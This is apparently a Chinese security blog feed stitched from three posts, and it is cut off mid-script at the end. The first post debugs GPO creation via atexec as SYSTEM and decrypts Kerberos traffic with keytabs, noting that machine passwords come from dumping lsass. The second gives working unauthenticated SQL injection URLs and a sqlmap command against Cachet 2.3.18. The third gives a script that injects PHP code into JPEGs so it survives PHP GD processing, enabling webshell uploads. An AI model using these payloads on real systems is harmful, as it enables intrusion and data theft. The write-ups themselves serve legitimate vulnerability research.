<p>在域内,我们用于横向的工具有很多,但是大部分工具在执行命令时的身份都是<code>NT Authority\System</code>,比如impacket工具包中的<code>atexec.py</code></p>
<p>在本文中,当使用atexec创建GPO时,会出现如下报错</p>
<p><img alt="image-20210930164936525" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/tzJLCMWXuF.jpg"></p>
<p>从报错来看,我们遇到了认证错误,biaojigaoliang1可是这条创建GPO的命令是使用<code>atexec.py</code>在DC上使用域管的凭证运行的biaojigaoliang2,为什么还会出现认证错误呢?</p>
<p>这时候就需要通过审计Windows的安全日志来排查错误了,我的测试环境是两台DC,在运行命令的这台DC上我并没有发现什么可疑的登录记录,但是在另一台DC的安全日志上,我发现了下面这条日志:</p>
<p><img alt="image-20210930165503502" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/yelJygwpuh.jpg"></p>
<p><code>192.168.46.198</code>是刚才执行创建GPO命令的那台DC的IP,biaojigaoliang1可以看到进行认证的用户是该DC的机器账户<code>WRSD$</code>biaojigaoliang2</p>
<p>那么问题是不是出在这里呢?</p>
<p>biaojigaoliang1<code>System</code>账户在本地的权限固然无限大,它可以读写任意的对象,但是当访问网络资源时,它只是域内的一个机器账户biaojigaoliang2</p>
<p>那么为什么在当前DC上创建GPO需要去访问另一台DC呢?</p>
<h1>FSMO</h1>
<p>所谓FSMO即<code>Flexible Single Master Operations</code>,灵活单主机操作模式</p>
<p>我们都知道,Windows AD是一个多主机环境,大的企业内网中可能同时存在数十台DC,每个DC都持有一个数据库,那么肯定就牵涉到同步问题,既然有同步那么就肯定会有冲突发生,某些对象的更新冲突可以通过算法来解决,但是有一些特定的对象的更新应该极力避免冲突的产生,GPO对象就是其中一种</p>
<p>biaojigaoliang1这种对象只能够在众多DC中的一台上进行更新,其他DC只能够从该DC同步更新,而不能独自处理该对象的更新biaojigaoliang2</p>
<p>这个就叫做单主机操作模式,它的存在就是为了规避冲突的产生,FSMO角色一共有五种:</p>
<ul>
<li><strong>Schema master FSMO</strong></li>
<li><strong>Domain naming master FSMO</strong></li>
<li><strong>RID master FSMO</strong></li>
<li><strong>PDC</strong>模拟器<strong>FSMO</strong></li>
<li><strong>infrastructure master FSMO</strong></li>
</ul>
<p>每种角色的具体功能XDM自行百度,不再赘述</p>
<p>biaojigaoliang1我们关心的只有<code>PDC模拟器FSMO</code>角色,因为只有持有该角色的DC才能够对GPO进行更新,其他的DC要想对GPO进行更新必须要向该DC发起请求biaojigaoliang2</p>
<p>这也是上面我们执行命令的DC为什么会向另一台DC发起登录请求的原因</p>
<p>可以使用<code>netdom query fsmo</code>命令查询域内的所有FSMO角色</p>
<p><img alt="image-20210930171225204" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/scXAPMmKZp.jpg"></p>
<h1>数据包分析</h1>
<p>只凭一条日志我们并不能很明确地锁定问题根源,下面我们通过万能的Wireshark来分析一下网络数据包</p>
<p>通过创建计划任务来将用户身份提升为<code>System</code>账户</p>
<div class="highlight"><pre><span></span><code>schtasks<span class="w"> </span>/create<span class="w"> </span>/tn<span class="w"> </span>gpo_create<span class="w"> </span>/tr<span class="w"> </span><span class="s2">"C:\1.bat"</span><span class="w"> </span>/sc<span class="w"> </span>monthly<span class="w"> </span>/d<span class="w"> </span><span class="m">15</span><span class="w"> </span>/ru<span class="w"> </span>System
schtasks<span class="w"> </span>/run<span class="w"> </span>/tn<span class="w"> </span>gpo_create<span class="w"> </span>
</code></pre></div>
<p>运行该计划任务后即可在Wireshark中看到数据包</p>
<p><img alt="1632993661448" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/lmWirCaAQm.jpg"></p>
<p>可以看到,并没有获取Kerberos票据的数据包,而是直接使用ldap票据请求了PDC的LDAP服务,并且认证成功了(下面的响应包返回了success)</p>
<p>是不是很郁闷?它哪来的票据?</p>
<p>即使你执行一百遍<code>klist purge</code>来清除本地缓存的票据,你还是抓不到Kerberos数据包</p>
<p>biaojigaoliang1其实原因很简单,<code>klist purge</code>清除的是当前用户的票据,而你需要清除的是计算机账户的票据biaojigaoliang2</p>
<p>你需要的是下面这条命令</p>
<div class="highlight"><pre><span></span><code>klist -li 0x3e7 purge
</code></pre></div>
<p><img alt="1632994031257" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FQIMouIpoY.jpg"></p>
<p>此时再重新抓包</p>
<p><img alt="1632994098516" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/DMjqRPQiTv.jpg"></p>
<p>由于计算机账户的本地票据缓存被清除,再次创建GPO时便会重新向KDC申请票据</p>
<h2>Kerberos keytab</h2>
<p>此时我们引入keytab文件对Kerberos数据包进行解密</p>
<p><code>keytab</code>即<code>key table</code>(秘钥表)</p>
<p>众所周知,Kerberos协议的第一个包通常为<code>AS-REQ</code>,这个数据包向KDC证明自己的身份,KDC认证通过后,会通过<code>AS-REP</code>数据包返回<code>session key</code>和<code>tgt ticket</code>,该数据包使用由用户密码生成的key进行加密</p>
<p>而keytab文件中就包含这一个key,有了这个key,Wireshark就可以解密<code>AS-REP</code>数据包中的<code>session key</code>,有了<code>session key</code>便可以对后续的<code>TGS-REQ</code>、<code>AP-REQ</code>数据包中的<code>authenticator</code>字段进行解密,这里对<code>AP-REQ</code>的解密还牵涉到另一个<code>session key</code>,具体细节XDM可以通过<a href="https://www.eventhelix.com/networking/kerberos/kerberos-sequence-diagram.pdf">流程图</a>自行分析</p>
<p>生成keytab的方法如下:</p>
<p>使用DC自带的<code>ktpass.exe</code></p>
<ul>
<li>用户账户</li>
</ul>
<div class="highlight"><pre><span></span><code>ktpass<span class="w"> </span>-out<span class="w"> </span>Administrator.keytab<span class="w"> </span>-princ<span class="w"> </span>Administrator@MOTHER.FUCKER<span class="w"> </span>-mapUser<span class="w"> </span>Administrator@MOTHER.FUCKER<span class="w"> </span>-pass<span class="w"> </span>qwe123...<span class="w"> </span>-crypto<span class="w"> </span>all<span class="w"> </span>-ptype<span class="w"> </span>KRB5_NT_PRINCIPAL
</code></pre></div>
<ul>
<li>计算机账户</li>
</ul>
<div class="highlight"><pre><span></span><code>ktpass<span class="w"> </span>-out<span class="w"> </span>WIN-55D8GK824HO$.keytab<span class="w"> </span>-princ<span class="w"> </span>WIN-55D8GK824HO<span class="nv">$@</span>MOTHER.FUCKER<span class="w"> </span>-mapUser<span class="w"> </span>WIN-5D8GK824HO<span class="nv">$@</span>mother.fucker<span class="w"> </span>-pass<span class="w"> </span><span class="s2">"*"</span><span class="w"> </span>-crypto<span class="w"> </span>all<span class="w"> </span>-ptype<span class="w"> </span>KRB5_NT_PRINCIPAL<span class="w"> </span>setpass
</code></pre></div>
<p>计算机账户的密码可以通过dump lsass来获取到</p>
<p>最后加了一个setpass选项,不然会导致计算机账户重置,进而引起对应计算机与DC之间的NetLogon安全通道建立失败(计算机账户hash不一致),最后会由于信任关系建立失败而导致无法登录到该计算机</p>
<p><img alt="Capture" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/WTjIzHjXaF.jpg"></p>
<p>将生成好的keytab文件加载到wireshark进行解密,即可看到所有加密数据的内容</p>
<p><img alt="1632994971879" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/oHSZUJhlug.jpg"></p>
<p>在解密后的<code>authencator</code>字段中可以看到账户名为计算机账户</p>
<p><img alt="1632995123288" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/gothuNDsvo.jpg"></p>
<p>在解密后的数据包中,我们可以看到计算机账户尝试创建GPO的整个过程(LDAP),最后由于权限不足创建失败</p>
<p><img alt="1632995224930" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QYNgxLhiwz.jpg"></p>cachet-2.3.18前台SQL注入2021-09-07T00:00:00+02:002021-09-07T00:00:00+02:0012138tag:None,2021-09-07:cachet-2318qian-tai-sqlzhu-ru.html<p>references:</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzA4MDU0NzY4Ng==&mid=2459419911&idx=1&sn=981f7d7c68e09898a6fc95a9a2c61aa1&chksm=88c1ff0ebfb676185d5934d5994e8930a3cf58ec205b6e90289df9c176259bd994ca6f09d817&exportkey=Af6%2BzfAltIwwlakwF9FsoxE%3D&pass_ticket=LMCiFxXBj9s%2FtS%2F1SemQEcstaLJXUESmepiszlQzC5%2FvSD09ngHR2RE5SVUq6Udh&wx_header=0#rd">从一个Laravel SQL注入漏洞开始的Bug Bounty之旅</a></li>
<li><a href="https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE">https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE</a></li>
<li><a href="https://blog.51cto.com/zhaowonq/1215337">https://blog.51cto.com/zhaowonq/1215337</a></li>
</ul>
<h1>环境搭建</h1>
<p><a href="https://gitee.com/wochinijiamile/windows-api-code/blob/master/Cachet-2.3.18.zip">cachet-2.3.18下载地址</a></p>
<p>用我的<a href="https://github.com/wqreytuk/phpwheel">php破轮子</a>搭建好环境,php版本使用php7.1,太高太低都不行</p>
<p><img alt="image-20210907110121064" src="cachet-2.3.18 SQL注入.assets/image-20210907110121064.png"></p>
<p>解压 …</p><p>references:</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=MzA4MDU0NzY4Ng==&mid=2459419911&idx=1&sn=981f7d7c68e09898a6fc95a9a2c61aa1&chksm=88c1ff0ebfb676185d5934d5994e8930a3cf58ec205b6e90289df9c176259bd994ca6f09d817&exportkey=Af6%2BzfAltIwwlakwF9FsoxE%3D&pass_ticket=LMCiFxXBj9s%2FtS%2F1SemQEcstaLJXUESmepiszlQzC5%2FvSD09ngHR2RE5SVUq6Udh&wx_header=0#rd">从一个Laravel SQL注入漏洞开始的Bug Bounty之旅</a></li>
<li><a href="https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE">https://dev.mysql.com/doc/internals/en/com-stmt-prepare.html#packet-COM_STMT_PREPARE</a></li>
<li><a href="https://blog.51cto.com/zhaowonq/1215337">https://blog.51cto.com/zhaowonq/1215337</a></li>
</ul>
<h1>环境搭建</h1>
<p><a href="https://gitee.com/wochinijiamile/windows-api-code/blob/master/Cachet-2.3.18.zip">cachet-2.3.18下载地址</a></p>
<p>用我的<a href="https://github.com/wqreytuk/phpwheel">php破轮子</a>搭建好环境,php版本使用php7.1,太高太低都不行</p>
<p><img alt="image-20210907110121064" src="cachet-2.3.18 SQL注入.assets/image-20210907110121064.png"></p>
<p>解压cachet,进入目录,执行<code>composer install</code>,安装依赖</p>
<p>然后将<code>.env.example</code>复制为<code>.env</code>文件</p>
<p>配置好数据库密码之后,执行<code>php artisan app:install</code>进行程序的安装和数据库数据迁移</p>
<p>然后给cachet数据库的components表加一行测试数据</p>
<p><img alt="image-20210907205744015" src="cachet-2.3.18 SQL注入.assets/image-20210907205744015.png"></p>
<h1>漏洞分析</h1>
<p><code>Cachet-2.3.18\app\Http\Routes\ApiRoutes.php</code></p>
<p>该文件声明了cache的api路由,第33行到49行,这些路由均使用中间件<code>auth.api</code></p>
<p>这里顺便介绍一下laravel的中间件,简单来说就是介于用户的http请求和代码逻辑之间的一层处理代码,用于鉴权等操作</p>
<p>其中<code>auth.api</code>中间件接受一个bool类型的参数,默认为false,即不进行身份认证</p>
<p><img alt="image-20210907204033733" src="cachet-2.3.18 SQL注入.assets/image-20210907204033733.png"></p>
<p>漏洞入口在<code>components</code>,也就是<code>ComponentController</code>控制器的<code>getComponents</code>方法</p>
<p><code>Cachet-2.3.18\app\Http\Controllers\Api\ComponentController.php</code></p>
<p>第40行的search方法定义位于<code>Cachet-2.3.18\app\Models\Traits\SearchableTrait.php</code>的<code>scopeSearch</code>方法</p>
<p>该方法中有一个检查:</p>
<div class="highlight"><pre><span></span><code><span class="n">array_intersect</span><span class="p">(</span><span class="n">array_keys</span><span class="p">(</span><span class="err">$</span><span class="n">search</span><span class="p">),</span><span class="w"> </span><span class="err">$</span><span class="n">this</span><span class="o">-></span><span class="n">searchable</span><span class="p">)</span>
</code></pre></div>
<p>如果我们传递过来的参数<code>$search</code>数组中的key形成的数组和<code>$this->searchable</code>没有交集,那么SQL查询就不会产生</p>
<p><code>$this->searchable</code>的值为:</p>
<div class="highlight"><pre><span></span><code><span class="x">protected $searchable = [</span>
<span class="x"> 'id',</span>
<span class="x"> 'component_id',</span>
<span class="x"> 'name',</span>
<span class="x"> 'status',</span>
<span class="x"> 'visible',</span>
<span class="x">];</span>
</code></pre></div>
<p>那么只要我们查询的时候,参数名为上面中的任何一个就可以继续查询</p>
<p>根据路由,我们可以构造出如下查询</p>
<div class="highlight"><pre><span></span><code>http://cachet.fucker:809/api/v1/components?name=1
</code></pre></div>
<p>查询可以正常进行</p>
<p><img alt="image-20210907204956636" src="cachet-2.3.18 SQL注入.assets/image-20210907204956636.png"></p>
<p>我们在<code>Cachet-2.3.18\app\Models\Traits\SearchableTrait.php</code>的第41行下断点,然后一路跟进到<code>Cachet-2.3.18\vendor\laravel\framework\src\Illuminate\Database\Query\Builder.php</code>的<code>addArrayOfWheres</code>方法:</p>
<div class="highlight"><pre><span></span><code><span class="x">protected function addArrayOfWheres($column, $boolean, $method = 'where')</span>
<span class="x">{</span>
<span class="x"> return $this->whereNested(function ($query) use ($column, $method) {</span>
<span class="x"> foreach ($column as $key => $value) {</span>
<span class="x"> //如果键是一个数字,且值是一个数组,那么就把数组当作参数,调用$query->where方法</span>
<span class="x"> //如果$value有四个元素(id、=、1、and),依次是字段名、操作符、操作值、条件连接符</span>
<span class="x"> //形如and id=1</span>
<span class="x"> if (is_numeric($key) && is_array($value)) {</span>
<span class="x"> call_user_func_array([$query, $method], $value);</span>
<span class="x"> } else {</span>
<span class="x"> $query->$method($key, '=', $value);</span>
<span class="x"> }</span>
<span class="x"> }</span>
<span class="x"> }, $boolean);</span>
<span class="x">}</span>
</code></pre></div>
<p>因此我们可以构造出如下请求</p>
<div class="highlight"><pre><span></span><code>http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=motherfucker
</code></pre></div>
<p><img alt="image-20210907205537606" src="cachet-2.3.18 SQL注入.assets/image-20210907205537606.png"></p>
<p>可以看到,我们的<code>motherfucker</code>进入了预编译的查询语句</p>
<p>biaojigaoliang1laravel并未对条件连接符进行防注入处理,我们的字符可以直接注入进去biaojigaoliang2</p>
<p>进一步构造</p>
<div class="highlight"><pre><span></span><code>http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=) or 1=1%23
</code></pre></div>
<p><img alt="image-20210907205645316" src="cachet-2.3.18 SQL注入.assets/image-20210907205645316.png"></p>
<p>正常来讲,我们这时候应该已经能够查询出来数据了,但是查询结果仍然是空的</p>
<p>这里困扰了我挺久的,而且在debug的过程中,一直我也没看到<code>?</code>被替换的SQL语句,只能看到预编译语句(带<code>?</code>)</p>
<p>后来干脆用wireshark抓了一下包</p>
<p><img alt="image-20210907210016550" src="cachet-2.3.18 SQL注入.assets/image-20210907210016550.png"></p>
<p>可以看到,客户端只发送了<code>Request Prepare Statement</code>数据包,然后就直接发送了<code>Request Close Statement</code>包</p>
<p>正常情况下,中间还会发送一个<code>Request Execute Statement</code>包,说明我的SQL语句根本就没执行</p>
<p>后来了解了一下MySQL的预处理机制,就是说数据查询是分两步,第一步是先提交预处理语句给服务器,待替换参数使用<code>?</code>标记,然后后续的查询,只需要提交对应的参数即可,如下所示:</p>
<div class="highlight"><pre><span></span><code><span class="n">mysql</span><span class="o">></span><span class="w"> </span><span class="k">PREPARE</span><span class="w"> </span><span class="n">stmt1</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="s1">'select count(*) as aggregate from `components` where `enabled` = ? and (`name` = ? ) or 1=1# `a` = ?) and `components`.`deleted_at` is null'</span><span class="p">;</span>
<span class="k">Query</span><span class="w"> </span><span class="n">OK</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="k">rows</span><span class="w"> </span><span class="n">affected</span>
<span class="n">Statement</span><span class="w"> </span><span class="n">prepared</span>
<span class="n">mysql</span><span class="o">></span><span class="w"> </span><span class="k">SET</span><span class="w"> </span><span class="nv">@a</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="no">true</span><span class="p">;</span>
<span class="k">Query</span><span class="w"> </span><span class="n">OK</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="k">rows</span><span class="w"> </span><span class="n">affected</span>
<span class="n">mysql</span><span class="o">></span><span class="w"> </span><span class="k">SET</span><span class="w"> </span><span class="nv">@b</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="k">Query</span><span class="w"> </span><span class="n">OK</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="k">rows</span><span class="w"> </span><span class="n">affected</span>
<span class="n">mysql</span><span class="o">></span><span class="w"> </span><span class="k">sET</span><span class="w"> </span><span class="nv">@c</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span>
<span class="k">Query</span><span class="w"> </span><span class="n">OK</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="k">rows</span><span class="w"> </span><span class="n">affected</span>
<span class="n">mysql</span><span class="o">></span><span class="w"> </span><span class="k">EXECUTE</span><span class="w"> </span><span class="n">stmt1</span><span class="w"> </span><span class="k">USING</span><span class="w"> </span><span class="nv">@a</span><span class="p">,</span><span class="w"> </span><span class="nv">@b</span><span class="p">,</span><span class="w"> </span><span class="nv">@c</span><span class="p">;</span>
<span class="mi">1210</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="n">Incorrect</span><span class="w"> </span><span class="n">arguments</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="k">EXECUTE</span>
<span class="n">mysql</span><span class="o">></span><span class="w"> </span><span class="k">EXECUTE</span><span class="w"> </span><span class="n">stmt1</span><span class="w"> </span><span class="k">USING</span><span class="w"> </span><span class="nv">@a</span><span class="p">,</span><span class="w"> </span><span class="nv">@b</span><span class="p">;</span>
<span class="o">+-----------+</span>
<span class="o">|</span><span class="w"> </span><span class="k">aggregate</span><span class="w"> </span><span class="o">|</span>
<span class="o">+-----------+</span>
<span class="o">|</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">|</span>
<span class="o">+-----------+</span>
<span class="mi">1</span><span class="w"> </span><span class="k">row</span><span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="k">set</span>
</code></pre></div>
<p>biaojigaoliang1我将我没有查询出来数据的语句进行预处理,然后定义3个变量,并使用这3个变量执行了预处理语句,直接报错,提示参数数量错误,后面改成2个,就可以正常查询了biaojigaoliang2</p>
<p>biaojigaoliang1这说明了laravel在发送<code>Request Execute Statement</code>数据包之前,已经自己进行了校验,但是具体代码我并没有找到biaojigaoliang2</p>
<p>因此现在我们只需要按照如下方式进行请求的构造即可:</p>
<div class="highlight"><pre><span></span><code>http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) or 1=1%23
</code></pre></div>
<p><img alt="image-20210907211234255" src="cachet-2.3.18 SQL注入.assets/image-20210907211234255.png"></p>
<p>成功查询出来数据</p>
<p>然后将<code>1=1</code>改成<code>1=2</code></p>
<p><img alt="image-20210907211304308" src="cachet-2.3.18 SQL注入.assets/image-20210907211304308.png"></p>
<p>未查询出数据,SQL盲注存在</p>
<p>biaojigaoliang1这里由于是存在两个SQL查询语句,且两个语句的列数不一致,因此无法构造union注入,不管怎么写,两条语句都至少会有一条报列数不相等的错误,无法同时满足biaojigaoliang2</p>
<p>sqlmap跑一下</p>
<div class="highlight"><pre><span></span><code>python2.7 sqlmap.py -u "http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) *%23" --technique=B --level=5
</code></pre></div>
<p><img alt="image-20210907224429398" src="cachet-2.3.18 SQL注入.assets/image-20210907224429398.png"></p>
<p><img alt="image-20210907224444452" src="cachet-2.3.18 SQL注入.assets/image-20210907224444452.png"></p>
<p>跑了两次,分别跑出了时间盲注和布尔盲注</p>
<p>可以跑出数据</p>
<p><img alt="image-20210907224725445" src="cachet-2.3.18 SQL注入.assets/image-20210907224725445.png"></p>
<h1>总结</h1>
<p>这个洞吧,我感觉应该是laravel框架的洞,如果不是他没有对参数进行过滤,这个注入也不会出现</p>
<p>不足之处XDM多指点</p>php GD库jpg注入2021-07-21T00:00:00+02:002021-07-21T00:00:00+02:0012138tag:None,2021-07-21:php-gdku-jpgzhu-ru.html<p>参考链接:</p>
<ul>
<li><a href="https://asdqw3.medium.com/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada">https://asdqw3.medium.com/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada</a></li>
<li><a href="https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg">https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg</a></li>
<li><a href="https://github.com/dlegs/php-jpeg-injector">https://github.com/dlegs/php-jpeg-injector</a></li>
</ul>
<h1>前言</h1>
<p>某些网站对用户上传的图片没有经过严谨的过滤,不限制文件后缀,只 …</p><p>参考链接:</p>
<ul>
<li><a href="https://asdqw3.medium.com/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada">https://asdqw3.medium.com/remote-image-upload-leads-to-rce-inject-malicious-code-to-php-gd-image-90e1e8b2aada</a></li>
<li><a href="https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg">https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg</a></li>
<li><a href="https://github.com/dlegs/php-jpeg-injector">https://github.com/dlegs/php-jpeg-injector</a></li>
</ul>
<h1>前言</h1>
<p>某些网站对用户上传的图片没有经过严谨的过滤,不限制文件后缀,只是将用户上传上来的图片使用PHP的gd库处理了一下:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$argv</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$q</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">:</span> <span class="nv">$q</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="nv">$jpg</span> <span class="o">=</span> <span class="nb">imagecreatefromjpeg</span><span class="p">(</span><span class="nv">$argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="c1">//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool</span>
<span class="nb">imagejpeg</span><span class="p">(</span><span class="nv">$jpg</span><span class="p">,</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="nv">$q</span><span class="p">);</span>
<span class="nb">imagedestroy</span><span class="p">(</span><span class="nv">$jpg</span><span class="p">);</span>
<span class="cp">?></span>
</code></pre></div>
<p>我们可以通过上传正常图片,更改后缀为php,然后进行访问,根据显示的内容来判断目标是否使用了gd库:</p>
<p><img alt="image-20210721205208394" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jUUCAvrwep.jpg"></p>
<h1>绕过</h1>
<p>对于这种处理方式,我们可以通过往图片中注入php代码来进行绕过</p>
<p>biaojigaoliang1直接往图片中追加php代码是不行的,这样会破坏图片的完整性,<code>imagecreatefromjpeg</code>在处理这样的图片时会抹除所有的字节,我们必须要在特定的位置进行代码的注入biaojigaoliang2</p>
<p>biaojigaoliang1关于这个问题,网上已经有前辈做了相关的研究,在jpg图片的Scan Header<code>00 0C 03 01 00 02 11 03 11 00 3F 00</code>后面插入代码<strong>有概率</strong>绕过gd库的<code>imagecreatefromjpeg</code>函数biaojigaoliang2</p>
<p>之所以说是有概率绕过,是因为在我实际测试的过程中,并不是所有的图片都可以成功注入,有些图片只在Scan Header后注入进了2~3个字节,后面的全变成了乱码,这个biaojigaoliang1具体原因我不清楚biaojigaoliang2</p>
<p>具体的绕过过程需要用到两个脚本:</p>
<p>php-gd.php:</p>
<div class="highlight"><pre><span></span><code><span class="cp"><?php</span>
<span class="c1">//php gd.php image.jpg gd-image.jpg 0-100[optional]</span>
<span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$argv</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$q</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">:</span> <span class="nv">$q</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="nv">$jpg</span> <span class="o">=</span> <span class="nb">imagecreatefromjpeg</span><span class="p">(</span><span class="nv">$argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="c1">//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool</span>
<span class="nb">imagejpeg</span><span class="p">(</span><span class="nv">$jpg</span><span class="p">,</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="nv">$q</span><span class="p">);</span>
<span class="nb">imagedestroy</span><span class="p">(</span><span class="nv">$jpg</span><span class="p">);</span>
<span class="cp">?></span>
</code></pre></div>
<p>jpeg-injector.py:</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/usr/bin/python3</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">binascii</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">MAGIC_NUMBER</span> <span class="o">=</span> <span class="s2">"03010002110311003f00"</span>
<span class="n">BIN_MAGIC_NUMBER</span> <span class="o">=</span> <span class="n">binascii</span><span class="o">.</span><span class="n">unhexlify</span><span class="p">(</span><span class="n">MAGIC_NUMBER</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="n">path_to_vector_image</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
<span class="n">payload_code</span> <span class="o">=</span> <span class="s2">"<?php phpinfo();?>"</span>
<span class="n">path_to_output</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path_to_vector_image</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">vector_file</span><span class="p">:</span>
<span class="n">bin_vector_data</span> <span class="o">=</span> <span class="n">vector_file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[ ] Searching for magic number..."</span><span class="p">)</span>
<span class="n">magic_number_index</span> <span class="o">=</span> <span class="n">find_magic_number_index</span><span class="p">(</span><span class="n">bin_vector_data</span><span class="p">)</span>
<span class="k">if</span> <span class="n">magic_number_index</span> <span class="o">>=</span><span class="mi">0</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Found magic number."</span><span class="p">)</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path_to_output</span><span class="p">,</span> <span class="s1">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">infected_file</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[ ] Injecting payload..."</span><span class="p">)</span>
<span class="n">infected_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span>
<span class="n">inject_payload</span><span class="p">(</span>
<span class="n">bin_vector_data</span><span class="p">,</span>
<span class="n">magic_number_index</span><span class="p">,</span>
<span class="n">payload_code</span><span class="p">))</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Payload written."</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"[-] Magic number not found. Exiting."</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">find_magic_number_index</span><span class="p">(</span>
<span class="n">data</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-></span> <span class="nb">int</span><span class="p">:</span>
<span class="k">return</span> <span class="n">data</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="n">BIN_MAGIC_NUMBER</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">inject_payload</span><span class="p">(</span>
<span class="n">vector</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">,</span>
<span class="n">index</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span>
<span class="n">payload</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-></span> <span class="nb">bytes</span><span class="p">:</span>
<span class="n">bin_payload</span> <span class="o">=</span> <span class="n">payload</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
<span class="n">pre_payload</span> <span class="o">=</span> <span class="n">vector</span><span class="p">[:</span><span class="n">index</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">BIN_MAGIC_NUMBER</span><span class="p">)]</span>
<span class="n">post_payload</span> <span class="o">=</span> <span class="n">vector</span><span class="p">[</span><span class="n">index</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">BIN_MAGIC_NUMBER</span><span class="p">)</span> <span class="o">+</span> <span class="nb">len</span><span class="p">(</span><span class="n">bin_payload</span><span class="p">):]</span>
